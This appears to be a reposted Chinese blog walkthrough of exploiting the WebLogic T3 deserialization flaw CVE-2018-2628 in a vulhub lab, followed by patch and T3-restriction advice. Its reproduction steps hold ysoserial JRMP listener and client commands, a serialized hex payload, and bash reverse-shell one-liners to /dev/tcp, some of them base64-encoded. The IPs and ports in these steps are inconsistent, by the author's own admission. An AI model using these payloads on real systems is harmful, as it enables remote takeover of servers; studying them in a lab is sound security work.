栏目分类:
子分类:
返回
文库吧用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
文库吧 > IT > 软件开发 > 后端开发 > Java

Weblogic 反序列化命令执行漏洞(CVE-2018-2628)漏洞复现【vulhub靶场】

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Weblogic 反序列化命令执行漏洞(CVE-2018-2628)漏洞复现【vulhub靶场】

文章目录
  • 漏洞概述
  • 影响版本
  • 漏洞复现
  • 漏洞修复

漏洞概述

在 WebLogic 里,攻击者利用其他rmi【远程方法调用】绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

影响版本

与weblogic的任意文件上传漏洞影响版本相同:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞复现

靶机:192.168.11.128(vulhub)
攻击机:192.168.11.131

  1. 启动环境

  2. 访问http://192.168.11.128:7001/,出现此页面说明启动成功。


3. 使用namp进行扫描,发现开启了T3协议。

nmap -n -v -p 7001,7002 192.168.11.128 --script=weblogic-t3-info

  1. 在攻击机中下载CVE-2018-2628检测漏洞脚本,将url.txt的内容修改如下:
  2. 设置所要检测的ip, 并运行脚本
python CVE-2018-2628-MultiThreading.py 

其中可能会遇到以下问题

这是由于这个脚本需要在python2环境下运行,参照这篇文章 kali切换python版本

  1. 出现is vul CVE-2018-2628说明漏洞存在,接下来我们开始复现

  1. 启动JRMP Server,目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序。他的作用就是一台存放payload的服务器,当我们攻击了存在漏洞的靶机后,靶机会到这台JRMP服务器去找这个payload执行命令。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

#[listen port]是需要JRMP Server监听的端口,这个端口的作用是为了让目的主机上weblogic进行远程调用kali方法时,可以连接到我们自己的主机
#[command]为要执行的命令
  1. 以下我们执行反弹shell命令,我们需要注意需要对执行的命令进行需要进行一次编码,因为 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法

反弹bash命令自动编码工具

bash -i >& /dev/tcp/192.168.11.131/8888 0>&1

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21
 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'


最后一行出现 * Opening JRMP listener on 8888,说明JRMP Server正在监听8888端口。

  1. 制造payload,在kali上打开一个新终端,使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload,因为要实现weblogic远程调用kali方法,所以就需要知道攻击机的ip与端口。
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.11.131:8888 | xxd -p | tr -d $'n' && echo


生成的payload如下:

aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f727872001
76a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a61
76612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612
e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000
000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c6
1331e03000078707737000a556e6963617374526566000e3139322e3136382e31312e313238000022b8ffffff
ff835fba0600000000000000000000000000000078

复制结果,替换weblogic_poc.py中的payload:

并修改目标IP:

  1. 在攻击机中监听端口1234
nc -vnlp 1234

  1. 执行脚本weblogic_poc.py

  1. 反弹shell成功

由于我在操作过程中弄混了靶机和攻击机,导致靶机的ip端口被占用无法在本地环境打开,所以最后监听端口的步骤来自于参考文章。

漏洞修复
  • 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
  • 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
  • 禁用T3协议
  • 禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

参考文章1

参考文章2

转载请注明:文章转载自 www.wk8.com.cn
本文地址:https://www.wk8.com.cn/it/1039160.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 wk8.com.cn

ICP备案号:晋ICP备2021003244-6号